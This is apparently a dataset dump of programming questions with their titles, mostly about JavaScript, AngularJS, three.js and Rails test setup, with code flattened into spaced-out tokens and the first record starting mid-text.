'chicago ' } , email : 'trav @ email.com ' } ; self.users.push ( specialUser ) ; $ log.log ( `` saving specialUser '' ) ; } ; self.openCreateUser = function ( ) { var modalInstance = $ uibModal.open ( { animation : true , templateUrl : 'createUserContent ' , controller : 'UserController ' , resolve : { items : function ( ) { return $ scope.items ; } } } ) ; modalInstance.result.then ( function ( selectedItem ) { $ scope.selected = selectedItem ; } , function ( ) { $ log.info ( 'Modal dismissed at : ' + new Date ( ) ) ; } ) ; } ; self.fetchAllUsers ( ) ; } ) ; < form role= '' form '' ng-controller= '' UserController as ctrl '' > < div class= '' form-group '' > < label for= '' FirstName '' > FirstName < /label > < input type= '' FirstName '' ng-model= '' ctrl.user.firstName '' class= '' form-control '' id= '' FirstName '' placeholder= '' Enter FirstName '' / > < label for= '' lastName '' > lastName < /label > < input type= '' lastName '' class= '' form-control '' id= '' lastName '' ng-model= '' ctrl.user.lastName '' placeholder= '' Enter lastName '' / > < label for= '' email '' > Email address < /label > < input type= '' email '' ng-model= '' ctrl.user.email '' class= '' form-control '' id= '' email '' placeholder= '' Enter email '' / > < /div > < div class= '' form-group '' > < label for= '' homeAddressLocation '' > Home Address < /label > < input class= '' form-control '' ng-model= '' ctrl.user.homeAddress.location '' id= '' homeAddressLocation '' placeholder= '' homeAddressLocation '' / > < /div > < div class= '' form-group '' > < label for= '' SSOId '' > SSOId < /label > < input class= '' form-control '' ng-model= '' ctrl.user.ssoId '' id= '' SSOId '' placeholder= '' SSOId '' / > < /div > < button type= '' submit '' class= '' btn btn-default '' ng-click= '' ctrl.saveUser ( ctrl.user ) '' > Save < /button > < button type= '' submit '' class= '' btn btn-default '' > Cancel < /button > < /form >",why Ng Repeat is not working if button invoked from a different form ? "JS : i 'm working on an engine ( gem ) that has some js code to be tested but seems i ca n't get it working . I 've followed the wiki article and set a basic example , but i 'm only getting 0 examples , 0 failures.Steps done : Added s.add_development_dependency 'teaspoon-jasmine ' in the gemspec filedummy is in spec/dummyspec/teaspoon_env.rb : Rakefile : spec/javascripts/spec_helper.js ( default as it was generated ) spec/javascripts/example_spec.js : The problem is that when i try to run the test engine , i 'm getting : I 've also try to run the following commands , with the same result : $ > bundle exec teaspoon $ > rake teaspoon $ > bundle exec teaspoon spec/javascripts/example_spec.jsAnd even $ > bundle exec teaspoon spec/javascripts/non_existent_file_spec.jsI have not much idea of what is not working . As non standard app , i 'm using es6 through browserify-rails ( which is working ok ) , and got in engine.rb : Any help or clue would be much appreciated.UPDATE : I 've created an engine from strach so it is easy to check and reproduce the issue.Repo Engine exampleIn particular , the commit related to the teaspoon setup is this one unless defined ? ( Rails ) ENV [ `` RAILS_ROOT '' ] = File.expand_path ( `` ../dummy '' , __FILE__ ) require File.expand_path ( `` # { ENV [ `` RAILS_ROOT '' ] } /config/environment '' , __FILE__ ) endTeaspoon.configure do |config| ... config.root = MyEngineName : :Engine.root ... end desc `` Run the javascript specs '' task : teaspoon = > `` app : teaspoon '' describe ( `` My great feature '' , function ( ) { it ( `` Bang '' , ( ) = > { expect ( true ) .toBe ( false ) ; } ) ; } ) ; $ > teaspoon Starting the Teaspoon server ... Thin web server ( v1.7.0 codename Dunder Mifflin ) Maximum connections set to 1024 Listening on 127.0.0.1:57036 , CTRL+C to stop Teaspoon running default suite at http : //127.0.0.1:57036/teaspoon/default Finished in 0.01600 seconds 0 examples , 0 failures config.browserify_rails.paths = [ lambda { |p| p.start_with ? ( MyEngineName : :Engine.root.join ( `` app '' ) .to_s ) } ]",rails teaspoon Testing in engine Not loading *_spec.js "JS : Well I am curios to learn about prototypes in javascript and found many articles however i am not able to understand why am i not able to use prototypes in Object literals in javascript . As we all know , everything is inherited from Object so in that case If I am able to use prototype in the function why am i not able to use prototype in the object literals for instance the below example I have gone through all this question but it really doesnt answer the reason why cant use prototype in the object literals in javascript . Below are some of the referencesrefrence 1refrence 2refrence 3 function Dog ( ) { } Dog.prototype = new Animal ; Dog.prototype.bark = function ( ) { console.log ( `` Woof ! My name is `` + this.name ) ; } ; var obj = { firstname : 'foo ' , lastname : 'bar ' } // this throws an error obj.prototype.getMethod = function ( ) { console.log ( 'this is a function ' ) ; }",Why can not I use prototype in Object Literals in javascript ? "JS : I am aware of OrbitControls.js having a damping feature , which adds a smooth dragging of panorama , also known as easing . I want to implement the same functionality but without using this library . The reason is that I need to reduce amount of code used and get a tighter control of mouse or tap events.I have built this Plunker to show the demo I use as a starter project for my panorama view.https : //plnkr.co/edit/eX2dwgbrfNoX9RwWaPaH ? p=previewIn this demo , mouse coordinates are converted to latitude/longitude , which would adjust camera position . This is the most basic , minimal panorama example from three.js site.When I was playing around with damping from OrbitControls.js ( see this line ) I could not quite get the same smooth behavior - interaction caused panorama to jump around : I do not believe I can fully understand how to apply it to my example in the Plunker.Can anyone guide me in the right direction to apply damping to my example from Plunker ? Update : I managed to progress by adding new delta values for longitude and latitude : see latDelta and lonDelta in updated Plunker . I got the idea how it works in OrbitControls.js . You can now observe an ideal smooth scroll on initial page load because of lonDelta = 0.35 . However , I am not sure how this is to be manipulated during user mouse scroll . At least I am moving in the right direction . if ( scope.enableDamping === true ) { sphericalDelta.theta *= ( 1 - scope.dampingFactor ) ; sphericalDelta.phi *= ( 1 - scope.dampingFactor ) ; panOffset.multiplyScalar ( 1 - scope.dampingFactor ) ; }",Implement Damping ( Inertia ) to Panorama Rotation "JS : I received a spam message that had a .htm attachment . I opened the file in gedit on my linux machine and saw the following . Does the script it would try to run do anything ? It looks harmless , yet confusing . < ! DOCTYPE HTML PUBLIC `` -//W3C//DTD HTML 4.01 Transitional//EN '' `` http : //www.w3.org/TR/html4/loose.dtd '' > < html > < head > < meta http-equiv= '' Content-Type '' content= '' text/html ; charset=utf-8 '' > < title > Please wait untill the page loads ... < /title > < /head > < body > < h1 > Loading ... Please Wait ... < /h1 > < br > < /body > ` < script > < /script > < /html >",javascript in spam email ; what 's it trying to do ? JS : I was digging around the jQuery source code and I found that they use this little code snippet to detect if a JavaScript object is empty.Can someone explain to me why this works ? I just do n't understand why this would ever return true . function isMyObjEmpty ( obj ) { var name ; for ( name in obj ) { return false ; } return true ; },How does this function determine of an object is empty ? "JS : The nature of JavaScript allows for its native objects to be completely re-written . I want to know if there is any real danger in doing so ! Here are some examples of native JavaScript objectsLets assume that I want to model these to follow a similar pattern that you might find in Java ( and some other OOP languages ) , so that Object defines a set of basic functions , and each other object inherits it ( this would have to be explicitly defined by the user , unlike Java , where everything naturally derives from object ) Example : In this scenario , Object and Boolean now have new implementations . In this respect , what is likely to happen ? Am I likely to break things further down the line ? Edit : I read somewhere that frameworks such as MooTools and Prototype have a similar approach to this , is this correct ? ObjectFunctionNumberStringBooleanMathRegExpArray Object = null ; function Object ( ) { Object.prototype.equals = function ( other ) { return this === other ; } Object.prototype.toString = function ( ) { return `` Object '' ; } Object.equals = function ( objA , objB ) { return objA === objB ; } } Boolean = null ; function Boolean ( ) { } extend ( Boolean , Object ) ; // Assume extend is an inheritance mechanismFoo = null ; function Foo ( ) { Foo.prototype.bar = function ( ) { return `` Foo.bar '' ; } } extend ( Foo , Object ) ;",The dangers of overwriting JavaScript object and functions "JS : I often see that when a function needs to be called with bound parameters in no particular context the undefined is more often than not is preferred over the null as a choice of context , as in : is preferred over : I 'm wondering if there is any particular reason for this ? f.call ( undefined , param1 , param2 ) f.call ( null , param1 , param2 )",what 's the benefit of binding to ` undefined ` instead of ` null ` "JS : I am using the Angular version of the $ q library however this would also be relevant for the original q library.Usage example : Unfortunately some function names ( e.g . finally ) conflict with javascript keywords.From the Angular reference : '' Because finally is a reserved word in JavaScript and reserved keywords are not supported as property names by ES3 , you 'll need to invoke the method like promise [ 'finally ' ] ( callback ) to make your code IE8 and Android 2.x compatible . `` ECMA-262 , the official standard , available at http : //www.ecma-international.org/publications/standards/Ecma-262.htm , states : 7.6.1.1 Keywords The following tokens are ECMAScript keywords and may not be used as Identifiers in ECMAScript programs . This means that the first example has to be changed into the following code to get it working with IE8 : As this code is harder to maintain I am looking for a javascript preprocessor ( maybe a grunt task ) which turns the first example into the IE8 compatible version.Is there such a preprocessor ? $ q .when ( someFunction ) .then ( function ( ) { // .. } ) .catch ( function ( ) { // .. } ) .finally ( function ( ) { // .. } ) ; break do instanceof typeof case else new var catch finally return void continue for switch while debugger function this with default if throw delete in try $ q .when ( someFunction ) .then ( function ( ) { // .. } ) [ 'catch ' ] ( function ( ) { // .. } ) [ 'finally ' ] ( function ( ) { // .. } ) ;",preprocessor to replace javascript keywords JS : I am trying to make a table with Vertical Text just on the header table.Here is my CSS code : Here is the demo http : //codepen.io/anon/pen/GnveJAs you can see it works partially.I would like to have the columns ( the cells of the column where there are the name ) which width fits exactly the contents ( about 50 px ) ; the same as the pic I attached to this question.Any idea what is the best way to make the css code or js code for this purpose ? Requirement : I am using less and jquery table th.user { .rotate ( 90deg ) ; position : relative ; padding-top : 190px ; top : -10px ; right : 0px ; width : 200px ; },vertically text for the label in the header column "JS : The goal is to produce a fluid layout as show below . So far I have a working function moveBox ( lastBox , `` east '' ) that keeps track of the row and column indexes.My current code , appends divs to a container and then moves it . The code below shows part of my attempts for specifing when to move North or South . But I 'm struggling with achiving the desired layout . function moveBox ( box , where ) { switch ( where ) { case `` north '' : lastTopOffset -= BOX_HEIGHT + BOX_MARGIN ; box.style.top = lastTopOffset + 'px ' ; box.style.left = lastLeftOffset + 'px ' ; rowIndex -= 1 ; break ; // ... } ( function ( ) { var i , lastBox , MAX_DIVS = 72 , BOX_HEIGHT = 50 , BOX_WIDTH = 100 , BOX_MARGIN = 5 , field = document.getElementById ( 'fieldPerimeter ' ) , fieldHeight = field.offsetHeight , maxRows = Math.floor ( fieldHeight / ( BOX_HEIGHT + BOX_MARGIN ) ) , rowIndex = 0 , colIndex = 0 , lastLeftOffset = 0 , lastTopOffset = 0 ; function moveBox ( box , where ) { switch ( where ) { case `` north '' : lastTopOffset -= BOX_HEIGHT + BOX_MARGIN ; box.style.top = lastTopOffset + 'px ' ; box.style.left = lastLeftOffset + 'px ' ; rowIndex -= 1 ; break ; case `` east '' : lastLeftOffset += BOX_WIDTH + BOX_MARGIN ; box.style.top = lastTopOffset + 'px ' ; box.style.left = lastLeftOffset + 'px ' ; colIndex += 1 ; break ; case `` south '' : lastTopOffset += BOX_HEIGHT + BOX_MARGIN ; box.style.top = lastTopOffset + 'px ' ; box.style.left = lastLeftOffset + 'px ' ; rowIndex += 1 ; break ; default : break ; } } for ( i = 0 ; i < MAX_DIVS ; i += 1 ) { lastBox = document.createElement ( 'div ' ) ; lastBox.className = 'box ' ; lastBox.innerHTML = i ; field.appendChild ( lastBox ) ; //delete me if ( ( i + 1 ) % 2 === 0 || ( i + 1 ) % 3 === 0 ) { moveBox ( lastBox , `` east '' ) ; } else { moveBox ( lastBox , `` south '' ) ; } //delete me // if ( rowIndex < maxRows & & rowIndex > 0 ) { // if ( colIndex % 4 === 0 ) { // moveBox ( lastBox , `` south '' ) ; // } else if ( colIndex % 2 === 0 ) { // moveBox ( lastBox , `` north '' ) ; // } else { // moveBox ( lastBox , `` east '' ) ; // } // } } } ) ( ) ; if ( colIndex % 4 === 0 ) { moveBox ( lastBox , `` south '' ) ; } else if ( colIndex % 2 === 0 ) { moveBox ( lastBox , `` north '' ) ; } else { moveBox ( lastBox , `` east '' ) ; }",Snake-alike fluid layout algorithm JS : Why onclick method is not working without return false . When i try to use it without return false it 's show answer and then values disappear..Javascript : JSFIDDLE < form id= '' form1 '' method= '' POST '' > < table style= '' border:1px solid black '' > < tr > < td > First Number < /td > < td > < input type= '' text '' id= '' first '' > < /td > < /tr > < tr > < td > Second Number < /td > < td > < input type= '' text '' id= '' second '' > < /td > < /tr > < tr > < td > Result < /td > < td > < input type= '' text '' id= '' result '' > < /td > < /tr > < td > < button id= '' btn '' value= '' Add '' onClick= '' addNumbers ( ) ; return false ; '' > Add < /button > < /td > < /table > < /form > function addNumbers ( ) { var firstNumber = document.getElementById ( 'first ' ) .value ; var secondNumber = document.getElementById ( 'second ' ) .value ; document.getElementById ( 'result ' ) .value = firstNumber + secondNumber ; },Why onclick is not working without return false "JS : I 'm trying to post FormData including both a File and a Collection.This is my Model : This is my action : My FormData in JavaScript is : And here is the header : The `` File '' is working fine , but the `` Content '' is always null.Where am I going wrong ? Thank you ! public class Content { public string Name { get ; set ; } public string Link { get ; set ; } } public class Model { public IEnumerable < Content > Contents { get ; set ; } public IFormFile File { get ; set ; } } [ HttpPost ] public async Task InsertAsync ( [ FromForm ] Model dataPost ) { await _services.Create ( dataPost ) ; } const formData = new FormData ( ) ; formData.append ( `` File '' , myFile , `` image.jpg '' ) formData.append ( `` Contents '' , arrayOfContent ) 'Content-Type ' : ` multipart/form-data `",Collection always null when using [ FromForm ] attribute "JS : I 've got this object in Angular.And in my HTML I need to loop through it to dynamically create a series of columns in my app ( think something like Trello ) Each type is a reference to a custom directive.I 'm trying to figure out the best way to place my directives.Based on this data , is the code below an appropriate way to handle dynamically creating these ? I 'd love to be able to do something like ... < { { obj.type } } -feed / > but I 'm not sure if this is valid , or if there 's a better way to create this.Thoughts are much appreciated ! $ scope.columns = { workspace : { title : `` Workspace '' , type : `` workspace '' , activities : [ ] } , alerts : { title : `` Alerts '' , type : `` alert '' , activities : [ ] } , main : { title : `` Main Feed '' , type : `` main '' , activities : [ ] } } ; < div ng-repeat= '' ( key , obj ) in columns '' > < div ng-switch on= '' obj.type '' > < workspace-feed ng-switch-when= '' workspace '' / > < alert-feed ng-switch-when= '' alert '' / > < main-feed ng-switch-when= '' main '' / > < filter-feed ng-switch-when= '' filter '' / > < /div > < /div >",Best Practices : Should I use ng-switch for this ? "JS : So , using the Calendar API to pull all events from a publicly available Google Calendar.This were working fine until this morning.As I 'm not updating or doing any data alteration , we 've implemented an API key to access read only data as follows : Yesterday , pulled fine , today returns : code : 401message : invalid credentialsAny thoughts on this ? It 's affecting several implementations of this calendar code ( different keys , domains , etc ) but with the same basic methodology.I have not implemented the gapi client javascript library , may begin looking into that now . https : //www.googleapis.com/calendar/v3/calendars/ [ calendar ID ] /events ? timeZone=EDT & timeMin=2020-06-30T04:00:00.000Z & maxResults=6 & singleEvents=true & orderBy=startTime & key= [ API key ]",Google Calendar API - no longer authorized for reads ?